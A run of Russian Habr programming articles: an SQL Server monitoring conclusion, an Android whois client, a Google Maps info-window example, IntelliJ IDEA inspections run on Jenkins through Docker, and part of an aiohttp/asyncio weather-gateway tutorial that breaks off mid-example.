1 и 8 ноября 2017 года (например, это рабочее время предприятия, чтобы исключить анализ работы регламентных задач). Данную выгрузку можно оформить как детальный отчет и прикрепить его к общему отчету, полученному из представления [srv].[vIndicatorStatistics]. Для понимания как выполнялся запрос и что происходило в тот или иной момент времени, достаточно обратиться к представлению [srv]. [vRequestStatistics] с фильтром по [start\_time] (дата и время запуска запроса). ### Результат В данной статье был рассмотрен пример реализации общего индикатора производительности MS SQL Server, позволяющий определить состояние СУБД относительно предыдущего периода или конкретного дня. В качестве меры было взято все время выполнения запросов (Total Elapsed Time). Данный метод является универсальным. Т е его необходимо настраивать, исходя из потребностей, а также определить меру (т е что будем собирать и сравнивать). Также данный подход позволяет обнаружить проблему сразу или за определенный диапазон прошедшего времени. На полученных данных можно реализовать робота, который бы принимал решения какие запросы улучшать или отключать, чтобы предупредить падение всей системы, с последующим оповещением администраторов. ### Источники: » [Реализация индикатора производительности запросов, хранимых процедур и триггеров в MS SQL Server](https://habrahabr.ru/post/314494/) » [MSDN](https://msdn.microsoft.com/ru-ru)
https://habr.com/ru/post/342794/
null
ru
null
# Пишем whois-клиент под Android ![Логотип](https://habrastorage.org/r/w1560/storage/habraeffect/a1/6c/a16cafa95c569e2ffc4f186498d3003e.png) В своей прошлой [статье](http://habrahabr.ru/blogs/android_development/115127/) я рассказал, что есть довольно много библиотек для парсинга html, в этот раз я решил показать каким образом можно извлекать информацию из текста с помощью регулярных выражений, где невозможно «зацепиться» за теги и воспользоваться упомянутыми библиотеками. Изначально всё начиналось с небольшого приложения, но постепенно я придумывал что-то новое и в итоге как мне кажется, получилось довольно интересно. Под катом я расскажу о ходе разработке, покажу примеры работы и варианты развития. Для начала я решил изучить, что есть на рынке, поэтому заглянул в маркет, и по ключевому слову «whois» скачал несколько приложений, сразу понял, что моё приложение будет уникально тем, что оно будет работать с IDN доменами, т.е. доменами с кириллическими именами. #### Разработка Первая отличительная особенность моего приложения — это поддержка кириллических доменов, а вторая — это то, что я буду выводить «распознанные» данные. Я чётко буду знать, в какой строке, какие данные находятся, а не как у скачанных приложений, где они банально берут и парсят блок с выводом данных и выводят его в WebView, чтобы было понятно, зачем мне регулярные выражения, то я покажу кусок документа с интересующей меня информацией: ![whois блок](https://habrastorage.org/r/w1560/storage/habraeffect/da/76/da76feb578aa638f3aa8f0a542bfea45.png) На скриншоте видно, что теги практически отсутствуют и никакой xpath тут не поможет для разбиения данного текста, поэтому самое время начать создавать проект и за работу: ![новый проект](https://habrastorage.org/r/w1560/storage/habraeffect/a5/65/a565df060e56fc0222dbd0b30c5b856a.png) В этот раз я решил выбрать минимальную версию, для которой я качал SDK, чуть позже на хабре читал, что 2.1 и 2.2 — самые популярные сейчас версии, сразу скажу, что разрабатываю для 2.1 (тестирование на эмуляторе), а использовать буду на 2.2. В этот раз я уделил больше внимания интерфейсу, по этой причине полные xml файлы интерфейса выкладывать не могу, по причине того, что они получились довольно внушительные. Основные элементы — это: > `<EditText android:layout\_height="wrap\_content" > >    android:layout\_width="fill\_parent" > >    android:id="@+id/site" > >    android:maxLines="1" > >    android:text=""> > >   EditText> > >   <Button android:text="@string/get" > >    android:id="@+id/getData" > >    android:layout\_width="fill\_parent" > >    android:layout\_height="wrap\_content" > >    android:background="@layout/custom\_button"> > >   Button> > >   <ListView android:id="@+id/whoisList" > >    android:layout\_width="wrap\_content" > >    android:layout\_height="wrap\_content"> > >   ListView> > > > > \* This source code was highlighted with Source Code Highlighter.` В EditText мы будем указывать сайт, тут я указал android:maxLines=«1», чтобы нельзя было вписать несколько строк. Button служит для запуска парсинга, позже выяснилось, что для того, чтобы задать простые стили для кнопки нужно несколько больше телодвижений, чем во многих прикладных приложениях для ПК, поэтому я буду использовать отдельный файл для настроек android:background="@layout/custom\_button". ListView также не такой простой, как может показаться на первый взгляд, для него я разработал отдельную строку, которая состоит из двух столбцов. Файлы интерфейса: [main.xml](http://dl.dropbox.com/u/22107844/main.xml) — главный файл [custom\_button.xml](http://dl.dropbox.com/u/22107844/custom_button.xml) — стили кнопки [color.xml](http://dl.dropbox.com/u/22107844/color.xml) — цвета [row.xml](http://dl.dropbox.com/u/22107844/row.xml) — строка ListView В итоге у нас получится левый скриншот (правда строки констант Вам придётся задать самим или перейти к концу статьи и скачать проект): ![Интерфейс](https://habrastorage.org/r/w1560/storage/habraeffect/4b/52/4b527c39c1c8d9b1ea6b2b6caf8ea30b.png) Все скриншоты я объединил по два, чтобы пост не вышел слишком вытянутым, поэтому сразу скажу, что справа — это результат работы ProgressDialog после нажатия кнопки «Получить whois данные». Как я уже писал выше, то доступен ввод только одной строки, поэтому при попытке нажать кнопку переноса на новую строку мы будет заканчивать ввод, что будет сразу прятать и клавиатуру: > `EditText edittext = (EditText)findViewById(R.id.site); > > edittext.setImeOptions(EditorInfo.IME\_ACTION\_DONE);` Но так как пользователь может и не прятать клавиатуру и нажать кнопку «Получить whois данные», то мы её спрячем программно: > `InputMethodManager imm = (InputMethodManager)getSystemService(Context.INPUT\_METHOD\_SERVICE); > > imm.hideSoftInputFromWindow(edittext.getWindowToken(), 0);` Также хотелось попробовать вызовы сообщений на экран: ![Сообщения](https://habrastorage.org/r/w1560/storage/habraeffect/f3/90/f390c917ab8fe5216d175a3ea44167f9.png) Слева у нас: > `Toast.makeText(MainActivity.this, "Информация отсутствует...", Toast.LENGTH\_LONG).show();` А справа отображается: > `AlertDialog.Builder alertbox = new AlertDialog.Builder(MainActivity.this); > > alertbox.setMessage("Невозможно подключиться к серверу"); > > alertbox.setNeutralButton("Ok", new DialogInterface.OnClickListener() { > >   public void onClick(DialogInterface arg0, int arg1) { > >     //обработка нажатия кнопки Ок > >   } > > }); > > alertbox.show(); > > > > \* This source code was highlighted with Source Code Highlighter.` Второе сообщение более критичное, поэтому нужно убедиться, что пользователь его прочитает, для этого используем AlertDialog. Для перевода домена будем использовать стороннюю [библиотеку](http://www.net-track.ch/opensource/java-idna/). Используя которую можно получить из «сайт.рф» набор символов «xn--80aswg.xn--p1ai». > `import gnu.inet.encoding.IDNA; > > IDNA.toASCII("сайт.рф");` Многие скажут, а почему бы не использовать java.net.idn, но в документации сказано, что оно есть только в 9 апи, а у нас 7, мой тест также показал, что в 7-8 апи import не работает, а вот в 9 действительно всё ОК и следующий [код](http://www.java2s.com/Code/JavaAPI/java.net/IDNtoUnicodeStringinput.htm) отлично работает без всяких библиотек. Теперь переходим непосредственно парсингу, как уже говорилось, я буду использовать регулярные выражения: > `HashMap<String, String> map; > >     Pattern p = Pattern.compile("created:\\s+(\\d{4}\\.\\d{2}\\.\\d{2})\n", Pattern.CASE\_INSENSITIVE); > >     Matcher matcher = p.matcher(str); > >     if (matcher.find()) { > >       map = new HashMap<String, String>(); > >       map.put("param", "создан:"); > >       map.put("value", matcher.group(1)); > >       list.add(map); > >     } > > > > \* This source code was highlighted with Source Code Highlighter.` «created:\\s+(\\d{4}\\.\\d{2}\\.\\d{2})\n» — дата в формате yyyy.dd.MM или yyyy.MM.dd «person:\\s+(.+)\n» — любой набор символов между пробелом и переносом каретки на новую строку «phone:\\s+(\\+[\\s\\d]+)\n» — + (плюс) и пробелы с числами между пробелами и переносом каретки на новую строку «mail:\\s+(.+)\n» — любой набор символов между пробелом и переносом каретки на новую строку «registrar:\\s+(.+)\n» — любой набор символов между пробелом и переносом каретки на новую строку «org:\\s+(.+)\n» — любой набор символов между пробелом и переносом каретки на новую строку На самом деле варианта всего два — это воспользоваться библиотекой и получить только блок кода, где содержаться искомые данные и в добавок воспользоваться получением innertext, что в последующем даст довольно ощутимую гибкость, т.к. многие регистраторы добавляют свои теги — это и ссылки на mailto, ссылку на сайт как в примере и т.п. Либо прогонять через регулярные выражения весь ответ от сервера (я постарался выбрать регистратора, у которого не слишком сильно перегружена страница). После того как мы получим результат, можно загрузить его в ListView: > `ListView list = (ListView) findViewById(R.id.whoisList); > > SimpleAdapter myAdapter = new SimpleAdapter(MainActivity.this, mylist, R.layout.row, > >       new String[] { "param", "value"}, > >       new int[] {R.id.whoisParam, R.id.whoisData}); > > list.setAdapter(myAdapter); > > > > \* This source code was highlighted with Source Code Highlighter.` Результат работы для двух сайтов будет следующим: ![Сайты](https://habrastorage.org/r/w1560/storage/habraeffect/3e/f2/3ef26f6b3e99f28be021ddb699340338.png) И последнее, что мне захотелось сделать — это добавить меню и ещё одну Activity: > `Menu myMenu = null; > > > >   @Override > >   public boolean onCreateOptionsMenu(Menu menu)  > >   { > >     //call the parent to attach any system level menus > >     super.onCreateOptionsMenu(menu); > >      > >     this.myMenu = menu; > >      > >     int base = Menu.FIRST; // value is 1 > >     MenuItem item = menu.add(base, base, base, "Помощь"); > >     item.setIcon(R.drawable.help); > >      > >     //it must return true to show the menu > >     //if it is false menu won't show > >     return true; > >   } > >    > >   @Override > >   public boolean onOptionsItemSelected(MenuItem item)   { > >     if (item.getItemId() == 1)    { > >       Intent intent = new Intent(MainActivity.this, Help.class); > >       startActivity(intent); > >     } > >     //should return true if the menu item > >     //is handled > >     return true; > >   } > > > > \* This source code was highlighted with Source Code Highlighter.` Тут я создаю меню и делаю обработку нажатия кнопки меню, после чего увижу следующую картину (слева форма после вызова меню, а справа после нажатия на кнопку). Для закрытия достаточно просто вызвать finish() во второй Activity. ![Меню](https://habrastorage.org/r/w1560/storage/habraeffect/bc/00/bc008a39ec2048b6ebc1e03198910e8f.png) Единственное, что я чуть не забыл — это файл манифеста, где обязательно нужно упомянуть об использовании интернета и о существовании новой Activity. Готовый проект выглядит следующим образом: ![Проект](https://habrastorage.org/r/w1560/storage/habraeffect/a4/56/a4567d04aba27ea5df2b907b473af111.png) Ссылка для скачивания: [проект](http://dl.dropbox.com/u/22107844/WhoisInfo.rar) ([зеркало](http://narod.yandex.ru/disk/7889074001/WhoisInfo.rar)) #### Итог Как мне кажется, получилась довольно интересное приложение, на этот раз вариантов развития просто уйма. Данное приложение может стать в перспективе довольно интересным seo инструментом, можно добавить сайты для других доменных зон, получение PageRank, ТИЦ, сохранение результатов в БД. В общем, идею как мне кажется можно бесконечно развивать, хотя я соглашусь и с теми, кто решит написать веб-сервис, а приложение для Андроид будет использовать как клиента для получения данных с одного единственного сайта, что конечно сэкономит трафик и скорее всего, будет работать быстрее.
https://habr.com/ru/post/115812/
null
ru
null
# Примеры Google Maps API №3: Делаем инфо-окно функциональным Итак, пока что последняя статейка с примерами. Речь пойдет о том, как сделать инфо-окошко более функциональным. #### ДЕЛАЕМ ИНФО-ОКНО ФУНКЦИОНАЛЬНЫМ Отображать какую-либо информацию о месте, в котором установлен маркер, — это, конечно, хорошо. Но давайте-ка добавим нашему окошку немного функциональности. Идея такова: помимо некоторой информации в инфо-окне будут две кнопочки – «Крупнее» и «К центру». Кнопочка «Крупнее» увеличивает текущий уровень зума на несколько пунктов, а кнопочка «К центру» возвращает нас на центр карты с начальным уровнем зума. Итак, первая строчка кода будет содержать координаты центра карты и начальный уровень зума, а также переменную map: > var center\_lat=37.4419, center\_lng=-122.1419, start\_zoom=13, map; Потом идет функция, за которую отвечает кнопочка «Крупнее»: > function to\_zoom() { > > map.zoomIn(); > > map.zoomIn(); > > map.zoomIn(); > > } Как видно из примера, значение текущее значение зума увеличивается на 3 пункта. Далее идет функция, за которую отвечает кнопка «К центру»: > function to\_center() { > > map.closeInfoWindow(); > > map.setCenter(new GLatLng(center\_lat, center\_long), start\_zoom); > > } Эта функция закрывает вызванное инфо-окно, устанавливает уровень зума в начальное значение и возвращает нас к центру карты. А вот и главная функция нашей карты `init()` в которой мы инициализируем переменную `map` как объект класса `GMap2()`, добавляем на карту элементы управления, устанавливаем на карту маркер, и делаем его кликабельным. А вот и код: > function init() { > > if (GBrowserIsCompatible()) { > > map = new GMap2(document.getElementById(«map»)); > > map.addControl(new GLargeMapControl()); > > map.addControl(new GMapTypeControl()); > > map.setCenter(new GLatLng(center\_lat, center\_long), start\_zoom); > > var latlng = new GLatLng(center\_lat, center\_long); > > var marker = new GMarker(latlng, G\_DEFAULT\_ICON, {title: 'Маркер'}); > > map.addOverlay(marker); > > var html = "Какая-то информация будет расположена тут." + " > [Крупнее](\"javascript:to_zoom();\") | [К центру](\"javascript:to_center();\")<\/center>"; > > marker.openInfoWindowHtml(html); > > } > > } И заканчивается все этими двумя строчками: > window.onload = init; > > window.onunload = GUnload; И, разумеется, работающий пример находится [здесь](http://aaa-nan.info/gm_examples/func_info-windows.html).
https://habr.com/ru/post/39435/
null
ru
null
# Запускаем инспекции IntelliJ IDEA на Jenkins IntelliJ IDEA на сегодня обладает наиболее продвинутым статическим анализатором кода Java, по своим возможностям оставившим далеко позади таких «ветеранов», как [Checkstyle](http://checkstyle.sourceforge.net/) и [Spotbugs](https://spotbugs.github.io/). Её многочисленные «инспекции» проверяют код в различных аспектах, от стиля кодирования до характерных багов. Однако пока результаты анализа отображаются лишь в локальном интерфейсе IDE разработчика, от них мало пользы для процесса разработки. Статический анализ [необходимо выполнять](https://habr.com/ru/post/436868/) в качестве первого шага конвейера сборки, его результаты должны определять quality gates, а сборка должна фейлиться, если quality gates не пройдены. Известно, что TeamCity CI интегрирован с IDEA. Но даже если вы не используете TeamCity, вы вполне можете попробовать запускать инспекции IDEA в любом другом CI-сервере. Предлагаю посмотреть, как это можно сделать, используя IDEA Community Edition, Jenkins и Warnings NG plugin. Шаг 1. Запускаем анализ в контейнере и получаем отчёт ----------------------------------------------------- Поначалу затея запускать IDE (десктопное приложение!) внутри CI-системы, не имеющей графического интерфейса, может показаться сомнительной и очень хлопотной. К счастью, разработчики IDEA предоставили возможность запускать [форматирование кода](https://www.jetbrains.com/help/idea/command-line-formatter.html) и [инспекции](https://www.jetbrains.com/help/idea/command-line-code-inspector.html) из командной строки. Причём для запуска IDEA в таком режиме не требуется графическая подсистема и эти задачи можно выполнять на серверах с текстовой оболочкой. Запуск инспекций осуществляется при помощи скрипта `bin/inspect.sh` из установочной директории IDEA. В качестве параметров требуются: * полный путь к проекту (относительные не поддерживаются), * путь к .xml-файлу с настройками инспекций (обычно находится внутри проекта в .idea/inspectionProfiles/Project\_Default.xml), * полный путь к папке, в которую будут сложены .xml-файлы с отчётами о результатах анализа. Кроме того, ожидается, что * в IDE будет настроен путь к Java SDK, иначе анализ работать не будет. Эти настройки содержатся в конфигурационном файле `jdk.table.xml` в папке глобальной конфигурации IDEA. Сама глобальная конфигурация IDEA по умолчанию лежит в домашней директории пользователя, но это местоположение [может быть явно задано](https://intellij-support.jetbrains.com/hc/en-us/articles/207240985) в файле `idea.properties`. * анализируемый проект должен быть валидным проектом IDEA, для чего на контроль версий придётся закоммитить некоторые файлы, которые обычно игнорируются, а именно: + `.idea/inspectionProfiles/Project_Default.xml` — настройки анализатора, они явно будут использованы при запуске инспекций в контейнере, + `.idea/modules.xml` — иначе получим ошибку 'This project contains no modules', + `.idea/misc.xml` — иначе получим ошибку 'The JDK is not configured properly for this project', + `*.iml-файлы` — иначе получим ошибку про не настроенный JDK в модуле. Хотя обычно эти файлы включают в `.gitignore`, они не содержат никакой специфичной для окружения конкретного разработчика информации — в отличие от, например, файла `workspace.xml`, где такая информация, как раз, содержится, и потому коммитить его не надо. Сам собою напрашивается выход запаковать JDK вместе с IDEA Community Edition в контейнер в виде, готовом к «натравливанию» на анализируемые проекты. Выберем подходящий базовый контейнер, и вот какой у нас получится Dockerfile: **Dockerfile** ``` FROM openkbs/ubuntu-bionic-jdk-mvn-py3 ARG INTELLIJ_VERSION="ideaIC-2019.1.1" ARG INTELLIJ_IDE_TAR=${INTELLIJ_VERSION}.tar.gz ENV IDEA_PROJECT_DIR="/var/project" WORKDIR /opt COPY jdk.table.xml /etc/idea/config/options/ RUN wget https://download-cf.jetbrains.com/idea/${INTELLIJ_IDE_TAR} && \ tar xzf ${INTELLIJ_IDE_TAR} && \ tar tzf ${INTELLIJ_IDE_TAR} | head -1 | sed -e 's/\/.*//' | xargs -I{} ln -s {} idea && \ rm ${INTELLIJ_IDE_TAR} && \ echo idea.config.path=/etc/idea/config >> idea/bin/idea.properties && \ chmod -R 777 /etc/idea CMD idea/bin/inspect.sh ${IDEA_PROJECT_DIR} ${IDEA_PROJECT_DIR}/.idea/inspectionProfiles/Project_Default.xml ${IDEA_PROJECT_DIR}/target/idea_inspections -v2 ``` При помощи опции `idea.config.path` мы заставили IDEA искать свою глобальную конфигурацию в папке `/etc/idea`, т. к. домашняя папка пользователя в условиях работы в CI — вещь неопределённая и зачастую вовсе отсутствующая. Так выглядит копируемый в контейнер файл `jdk.table.xml`, в котором прописаны пути к OpenJDK, установленной внутри контейнера (за основу может быть взят аналогичный файл из вашей собственной директории с настройками IDEA): **jdk.table.xml** ``` ``` Образ в готовом виде [доступен на Docker Hub](https://hub.docker.com/r/inponomarev/intellij-idea-analyzer). Перед тем, как двинуться дальше, проверим запуск анализатора IDEA в контейнере: ``` docker run --rm -v <путь/к/вашему/проекту>:/var/project inponomarev/intellij-idea-analyzer ``` Анализ должен успешно отработать, а в подпапке target/idea\_inspections должны появиться многочисленные .xml-файлы с отчётами анализатора. Теперь больше нет никаких сомнений в том, что анализатор IDEA может быть запущен в автономном режиме в любом CI-окружении, и мы переходим ко второму шагу. Шаг 2. Отображаем и анализируем отчёт ------------------------------------- Получить отчёт в виде .xml-файлов — полдела, теперь его нужно сделать человекочитаемым. А также его результаты должны быть использованы в quality gates — логике определения того, проходит или не проходит принимаемое изменение по критериям качества. В этом нам поможет [Jenkins Warnings NG Plugin](https://github.com/jenkinsci/warnings-ng-plugin), релиз которого был сделан в январе 2019 года. С его появлением многие отдельные плагины для работы с результатами статического анализа в Jenkins (CheckStyle, FindBugs, PMD и т. п.) теперь помечены как устаревшие (obsolete). Плагин состоит из двух частей: * многочисленных сборщиков сообщений анализаторов ([полный список](https://github.com/jenkinsci/warnings-ng-plugin/blob/master/SUPPORTED-FORMATS.md) включает в себя все известные науке анализаторы от AcuCobol до ZPT Lint), * единого для всех них просмотрщика отчётов. В перечне того, что умеет анализировать Warnings NG, находятся в том числе предупреждения компилятора Java и предупреждения из логов выполнения Maven: хотя они постоянно на виду, их редко когда целенаправленно анализируют. Отчёты IntelliJ IDEA также входят в перечень распознаваемых форматов. Т. к. плагин новый, он изначально хорошо взаимодействует Jenkins Pipeline. Шаг сборки с его участием будет выглядеть следующим образом (мы просто говорим плагину, какой формат отчёта распознаём и какие файлы следует просканировать): ``` stage ('Static analysis'){ sh 'rm -rf target/idea_inspections' docker.image('inponomarev/intellij-idea-analyzer').inside { sh '/opt/idea/bin/inspect.sh $WORKSPACE $WORKSPACE/.idea/inspectionProfiles/Project_Default.xml $WORKSPACE/target/idea_inspections -v2' } recordIssues( tools: [ideaInspection(pattern: 'target/idea_inspections/*.xml')] ) } ``` Интерфейс отчёта выглядит так: ![](https://habrastorage.org/r/w1560/webt/f9/sl/at/f9slatguudcvphteuhb7ryhxydm.png) Удобно, что этот интерфейс является универсальным для всех распознаваемых анализаторов. Он содержит интерактивную диаграмму распределения находок по категориям и график динамики изменения количества находок. В гриде внизу страницы можно выполнять быстрый поиск. Единственное, что для испекций IDEA не заработало корректно — возможность браузить код непосредственно в Jenkins (хотя для других отчётов, например Checkstyle, этот плагин умеет это делать красиво). Похоже, это баг парсера отчётов IDEA, который предстоит починить. Среди возможностей Warnings NG — возможность агрегировать в одном отчёте находки из разных источников и программировать Quality Gates, в том числе — «храповик» по референтной сборке. Некоторая документация по программированию Quality Gates доступна [здесь](https://github.com/jenkinsci/warnings-ng-plugin/blob/master/doc/Documentation.md#quality-gate-configuration) — впрочем, она не полная, и приходится смотреть в исходники. С другой стороны, для полного контроля над происходящим «храповик» можно реализовать и самостоятельно (см. мой [предыдущий пост](https://habr.com/ru/post/436868/) на эту тему). Заключение ---------- Перед тем, как начать готовить данный материал, я решил поискать: а не писал ли уже кто-нибудь на эту тему на Хабре? Я нашёл лишь [интервью 2017 года](https://habr.com/ru/company/jugru/blog/320494) с [lany](https://habr.com/ru/users/lany/), где он говорит: > Насколько мне известно, интеграции с Jenkins или maven-плагина нету [...] В принципе, любой энтузиаст мог бы подружить IDEA Community Edition и Jenkins, многие бы от этого только выиграли. > > Что же: спустя два года у нас есть Warnings NG Plugin, и наконец-то эта дружба осуществилась!
https://habr.com/ru/post/450214/
null
ru
null
# Асинхронный python без головной боли (часть 2) ***Это продолжение цикла статей про*** `asyncio`***. Начало*** [***здесь***](https://habr.com/ru/post/667630/)***.*** 6. Веб-сервер aiohttp и другие жители асинхронного мира ------------------------------------------------------- Продолжаем готовить `asyncio`. Теперь мы уже знаем достаточно, чтобы написать модный асинхронный микросервис. Реализуем известный архитектурный паттерн "API-шлюз". Это довольно простая штука. По запросу на свой API-интерфейс приложение собирает данные из других API, обрабатывает и возвращает результат пользователю. При этом пользователь знает только одну точку входа, а все внутренние подробности (кто куда и зачем сходил) от него скрыты. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/9c7/89b/34d/9c789b34da2cb081afd3ab943b0ab223.png)В предыдущей главе мы научились запрашивать погоду у сервиса [api.openweathermap.org](https://openweathermap.org/api). Давайте его слегка ~~украдем~~ импортозаместим. Вернее сказать, русифицируем. Пусть пользователь нашего сервиса передает название города на русском языке в параметрах GET-запроса и получает ответ в виде json опять-таки на великом и могучем. А откуда мы взяли информацию о погоде, пользователю знать не положено. Может у нас собственные метеостанции в каждой деревне стоят, поди проверь. Мы уже освоили http-клиента библиотеки `aiohttp`, с помощью которого можно обращаться к внешним API. Оказывается, в этой же библиотеке есть и все необходимое для создания полноценного http-сервера. Для начала напишем просто зеркальный прокси: ### Пример 6.1 ``` import asyncio import json from aiohttp import ClientSession, web async def get_weather(city): async with ClientSession() as session: url = f'http://api.openweathermap.org/data/2.5/weather' params = {'q': city, 'APPID': '2a4ff86f9aaa70041ec8e82db64abf56'} async with session.get(url=url, params=params) as response: weather_json = await response.json() try: return weather_json["weather"][0]["main"] except KeyError: return 'Нет данных' async def handle(request): city = request.rel_url.query['city'] weather = await get_weather(city) result = {'city': city, 'weather': weather} return web.Response(text=json.dumps(result, ensure_ascii=False)) async def main(): app = web.Application() app.add_routes([web.get('/weather', handle)]) runner = web.AppRunner(app) await runner.setup() site = web.TCPSite(runner, 'localhost', 8080) await site.start() while True: await asyncio.sleep(3600) if __name__ == '__main__': asyncio.run(main()) ``` В асинхронной функции `get_weather` ничего нового нет, мы ее лишь слегка причесали, чтобы запрос погоды для несуществующего города не приводил к трагическим последствиям для всего нашего приложения. За обработку запроса отвечает функция `handle` ("ручка" на сленге бэкендеров). Из запроса извлекается параметр city и передается в `get_weather`. Далее формируется результирующий ответ в виде json. Адрес нашего сервиса и тип запроса задается в`app.add_routes`. Стоп! А где же задачи? Не переживайте. Когда мы имеем дело с асинхронными веб-фреймворками (а `aiohttp` — это именно фреймворк, хоть и супер-минималистический), вся работа по созданию и запуску задач `asyncio` происходит у фреймворка "под капотом". Нам, как разработчикам, теперь нет нужды беспокоится об этих низменных деталях. Приложение мирно спит в бесконечном неблокирующем цикле, пока не придет запрос GET на определенный URL. Как только это произойдет, отработает логика в ручке. И снова баю-бай до следующего запроса. Но если первый запрос еще не успел обработаться, как поступил следующий, фреймворк отработает его в отдельной задаче, не дожидаясь (по возможности) окончания обработки первого. В этом сама суть асинхронности. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/49c/4b1/2ba/49c4b12ba237c8839f761e36b03edbd5.png)Заходим браузером на адрес: `localhost:8080/weather?city=Sochi` и получаем симпатичный json: ``` {"city": "Sochi", "weather": "Clouds"} ``` Кстати, если вы всерьез решили заняться бэкенд-разработкой, одним браузером вам никак не обойтись. Потребуется инструмент, позволяющий залезать вглубь HTTP. Стандарт де-факто здесь [Postman](https://www.postman.com), но в природе существуют и альтернативные решения. Скелет нашего приложения готов, теперь начинаем наращивать на нем мышцы. Воспользуемся бесплатным API переводчика [libretranslate.de](https://libretranslate.de/): ### Пример 6.2 ``` import asyncio import json from aiohttp import ClientSession, web async def get_weather(city): async with ClientSession() as session: url = f'http://api.openweathermap.org/data/2.5/weather' params = {'q': city, 'APPID': '2a4ff86f9aaa70041ec8e82db64abf56'} async with session.get(url=url, params=params) as response: weather_json = await response.json() try: return weather_json["weather"][0]["main"] except KeyError: return 'Нет данных' async def get_translation(text, source, target): async with ClientSession() as session: url = 'https://libretranslate.de/translate' data = {'q': text, 'source': source, 'target': target, 'format': 'text'} async with session.post(url, json=data) as response: translate_json = await response.json() try: return translate_json['translatedText'] except KeyError: return text async def handle(request): city_ru = request.rel_url.query['city'] city_en = await get_translation(city_ru, 'ru', 'en') weather_en = await get_weather(city_en) weather_ru = await get_translation(weather_en, 'en', 'ru') result = {'city': city_ru, 'weather': weather_ru} return web.Response(text=json.dumps(result, ensure_ascii=False)) async def main(): app = web.Application() app.add_routes([web.get('/weather', handle)]) runner = web.AppRunner(app) await runner.setup() site = web.TCPSite(runner, 'localhost', 8080) await site.start() while True: await asyncio.sleep(3600) if __name__ == '__main__': asyncio.run(main()) ``` Теперь в ручке дважды вызывается асинхронная функция `get_translation` (обратите внимание, на этот раз мы передаем параметры внешнему сервису в виде json через тело запроса POST) и, вуаля: `localhost:8080/weather?city=Сочи` ``` {"city": "Сочи", "weather": "Облака"} ``` *Над всей Испанией безоблачное небо, а в деревне Гадюкино опять идут дожди...* Но что это за микросервис без логгера? Однако использовать в насквозь асинхронном приложении привычную синхронную (а значит блокирующую) библиотеку `logging` — это не наш путь. Воспользуемся правильной асинхронной библиотекой логгирования `aiologger`: ### Пример 6.3 ``` import asyncio import json from aiohttp import ClientSession, web from aiologger.loggers.json import JsonLogger logger = JsonLogger.with_default_handlers( level='DEBUG', serializer_kwargs={'ensure_ascii': False}, ) async def get_weather(city): async with ClientSession() as session: url = f'http://api.openweathermap.org/data/2.5/weather' params = {'q': city, 'APPID': '2a4ff86f9aaa70041ec8e82db64abf56'} async with session.get(url=url, params=params) as response: weather_json = await response.json() try: return weather_json["weather"][0]["main"] except KeyError: return 'Нет данных' async def get_translation(text, source, target): await logger.info(f'Поступил запрос на на перевод слова: {text}') async with ClientSession() as session: url = 'https://libretranslate.de/translate' data = {'q': text, 'source': source, 'target': target, 'format': 'text'} async with session.post(url, json=data) as response: translate_json = await response.json() try: return translate_json['translatedText'] except KeyError: logger.error(f'Невозможно получить перевод для слова: {text}') return text async def handle(request): city_ru = request.rel_url.query['city'] await logger.info(f'Поступил запрос на город: {city_ru}') city_en = await get_translation(city_ru, 'ru', 'en') weather_en = await get_weather(city_en) weather_ru = await get_translation(weather_en, 'en', 'ru') result = {'city': city_ru, 'weather': weather_ru} return web.Response(text=json.dumps(result, ensure_ascii=False)) async def main(): app = web.Application() app.add_routes([web.get('/weather', handle)]) runner = web.AppRunner(app) await runner.setup() site = web.TCPSite(runner, 'localhost', 8080) await site.start() while True: await asyncio.sleep(3600) if __name__ == '__main__': asyncio.run(main()) ``` Обратите внимание, асинхронный логгер ни на миллисекунду не задержит работу нашего приложения в целом. Он будет использовать паузы, пока мы ожидаем запроса от пользователя или ответа от внешнего сервиса. Поэтому, если мы будем наблюдать за его работой под серьезной нагрузкой, может обнаружиться, что он заметно отстает от реального времени. Но в конечном итоге все что должно будет выведено в лог и ни один символ не потеряется. Ну а теперь вишенка на торте — асинхронный доступ к базе данных. Предположим, в процессе работы нашего приложения нам надо что-то писать в БД, ну, например, сохранять поступившие запросы (ничего более умного мне как-то в голову не пришло). Самая простая БД в мире, как известно, — это SQLite. И для нее, к счастью, есть асинхронный драйвер `aiosqlite`. Пробуем: ### Пример 6.4 ``` import json import aiosqlite import asyncio from aiohttp import ClientSession, web from aiologger.loggers.json import JsonLogger from datetime import datetime logger = JsonLogger.with_default_handlers( level='DEBUG', serializer_kwargs={'ensure_ascii': False}, ) async def create_table(): async with aiosqlite.connect('weather.db') as db: await db.execute('CREATE TABLE IF NOT EXISTS requests ' '(date text, city text, weather text)') await db.commit() async def save_to_db(city, weather): async with aiosqlite.connect('weather.db') as db: await db.execute('INSERT INTO requests VALUES (?, ?, ?)', (datetime.now(), city, weather)) await db.commit() async def get_weather(city): async with ClientSession() as session: url = f'http://api.openweathermap.org/data/2.5/weather' params = {'q': city, 'APPID': '2a4ff86f9aaa70041ec8e82db64abf56'} async with session.get(url=url, params=params) as response: weather_json = await response.json() try: return weather_json["weather"][0]["main"] except KeyError: return 'Нет данных' async def get_translation(text, source, target): await logger.info(f'Поступил запрос на на перевод слова: {text}') async with ClientSession() as session: url = 'https://libretranslate.de/translate' data = {'q': text, 'source': source, 'target': target, 'format': 'text'} async with session.post(url, json=data) as response: translate_json = await response.json() try: return translate_json['translatedText'] except KeyError: logger.error(f'Невозможно получить перевод для слова: {text}') return text async def handle(request): city_ru = request.rel_url.query['city'] await logger.info(f'Поступил запрос на город: {city_ru}') city_en = await get_translation(city_ru, 'ru', 'en') weather_en = await get_weather(city_en) weather_ru = await get_translation(weather_en, 'en', 'ru') result = {'city': city_ru, 'weather': weather_ru} await save_to_db(city_ru, weather_ru) return web.Response(text=json.dumps(result, ensure_ascii=False)) async def main(): await create_table() app = web.Application() app.add_routes([web.get('/weather', handle)]) runner = web.AppRunner(app) await runner.setup() site = web.TCPSite(runner, 'localhost', 8080) await site.start() while True: await asyncio.sleep(3600) if __name__ == '__main__': asyncio.run(main()) ``` Для продвинутыхДокументация `aiohttp` не рекомендует создавать новую `ClientSession` для каждого запроса. В высоконагруженных приложениях это может привести к снижению производительности. Правильным решением является создание единственной сессии для всего приложения (или, как вариант, нескольких сессий — отдельно для каждого внешнего сервиса). Реализовать это можно так: Пример 6.5 ``` import json import aiosqlite import asyncio from aiohttp import ClientSession, web from aiologger.loggers.json import JsonLogger from datetime import datetime logger = JsonLogger.with_default_handlers( level='DEBUG', serializer_kwargs={'ensure_ascii': False}, ) # здесь будут 